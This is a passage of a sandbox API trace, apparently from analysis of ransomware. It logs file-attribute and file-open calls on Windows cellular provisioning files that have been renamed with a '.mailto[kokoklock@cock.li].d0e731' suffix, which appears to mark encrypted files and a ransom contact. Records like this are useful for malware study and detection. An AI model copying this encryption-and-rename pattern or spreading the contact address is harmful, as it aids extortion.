dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.930] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\159__Connections_Cellular_Telestet (STET) (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.930] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa8f90) returned 1 [0178.930] RtlExitUserThread (Status=0x0) Thread: id = 2686 os_tid = 0x137c [0177.755] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\15__connections_cellular_optus (australia)_i6$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.931] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.931] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\15__connections_cellular_optus (australia)_i6$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.931] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\15__Connections_Cellular_Optus (Australia)_i6$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.931] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa9130) returned 1 [0178.931] RtlExitUserThread (Status=0x0) Thread: id = 2687 os_tid = 0x1380 [0177.756] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\160__connections_cellular_telestet (stet) (greece)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.932] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.932] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\160__connections_cellular_telestet (stet) (greece)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.932] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\160__Connections_Cellular_Telestet (STET) (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.933] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa92c0) returned 1 [0178.933] RtlExitUserThread (Status=0x0) Thread: id = 2688 os_tid = 0x1384 [0177.756] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\161__connections_cellular_vodafone greece (greece)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.933] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.934] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\161__connections_cellular_vodafone greece (greece)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.934] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\161__Connections_Cellular_Vodafone Greece (Greece)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.934] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa9460) returned 1 [0178.934] RtlExitUserThread (Status=0x0) Thread: id = 2689 os_tid = 0x1388 [0177.757] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\162__connections_cellular_vodafone greece (greece)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.935] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.935] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\162__connections_cellular_vodafone greece (greece)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.935] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\162__Connections_Cellular_Vodafone Greece (Greece)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.935] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa9e38) returned 1 [0178.935] RtlExitUserThread (Status=0x0) Thread: id = 2690 os_tid = 0x138c [0177.757] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\163__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.997] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.997] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\163__cellular_persimsettings_$(__iccid)_appid.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.998] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\163__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.998] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa9fd8) returned 1 [0178.998] RtlExitUserThread (Status=0x0) Thread: id = 2691 os_tid = 0x1390 [0177.758] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\164__connections_cellular_orange caraïbe (france)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.999] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.999] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\164__connections_cellular_orange caraïbe (france)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.999] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\164__Connections_Cellular_Orange Caraïbe (France)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0179.000] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa150) returned 1 [0179.000] RtlExitUserThread (Status=0x0) Thread: id = 2692 os_tid = 0x1394 [0177.758] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\165__connections_cellular_claro (guatemala)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0179.001] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0179.001] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\165__connections_cellular_claro (guatemala)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.001] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\165__Connections_Cellular_Claro (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0179.001] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa2f0) returned 1 [0179.001] RtlExitUserThread (Status=0x0) Thread: id = 2693 os_tid = 0x1398 [0177.759] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\166__connections_cellular_claro (guatemala)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0179.003] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0179.004] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\166__connections_cellular_claro (guatemala)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0179.004] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\166__Connections_Cellular_Claro (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0179.004] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa480) returned 1 [0179.004] RtlExitUserThread (Status=0x0) Thread: id = 2694 os_tid = 0x139c [0177.759] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\167__connections_cellular_telefonica (guatemala)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.936] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.936] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\167__connections_cellular_telefonica (guatemala)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.936] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\167__Connections_Cellular_Telefonica (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.936] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faa610) returned 1 [0178.936] RtlExitUserThread (Status=0x0) Thread: id = 2695 os_tid = 0x13a0 [0177.760] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\168__connections_cellular_tigo (guatemala)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.937] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.937] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\168__connections_cellular_tigo (guatemala)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.938] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\168__Connections_Cellular_TIGO (Guatemala)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.938] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0ed0) returned 1 [0178.938] RtlExitUserThread (Status=0x0) Thread: id = 2696 os_tid = 0x13a4 [0177.761] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\169__connections_cellular_tigo (guatemala)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.939] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.939] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\169__connections_cellular_tigo (guatemala)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.939] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\169__Connections_Cellular_TIGO (Guatemala)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.939] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff1200) returned 1 [0178.939] RtlExitUserThread (Status=0x0) Thread: id = 2697 os_tid = 0x13a8 [0177.762] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\16__connections_cellular_optus (australia)_i7$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.940] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.940] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\16__connections_cellular_optus (australia)_i7$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.940] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\16__Connections_Cellular_Optus (Australia)_i7$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.940] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0d38) returned 1 [0178.940] RtlExitUserThread (Status=0x0) Thread: id = 2698 os_tid = 0xac0 [0177.762] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\170__connections_cellular_claro (honduras)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.941] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.942] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\170__connections_cellular_claro (honduras)_i0$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0178.942] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\170__Connections_Cellular_Claro (Honduras)_i0$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.942] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0870) returned 1 [0178.942] RtlExitUserThread (Status=0x0) Thread: id = 2699 os_tid = 0x1118 [0177.763] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\171__connections_cellular_claro (honduras)_i1$(__mvid)@wap.provxml.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0178.943] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0178.943] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\171__Connections_Cellular_Claro (Honduras)_i1$(__MVID)@WAP.provxml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\all 